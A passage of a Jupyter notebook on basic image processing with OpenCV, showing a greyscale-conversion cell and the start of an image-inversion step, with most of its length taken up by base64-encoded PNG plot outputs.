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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "grey_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n", - "grey_rgb_img = cv2.cvtColor(grey_img, cv2.COLOR_BGR2RGB)\n", - "plt.imshow(grey_rgb_img)" - ] - }, - { - "cell_type": "markdown", - "id": "7237390f", - "metadata": {}, - "source": [ - "### Inverting the image" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "id": "7540b2b2", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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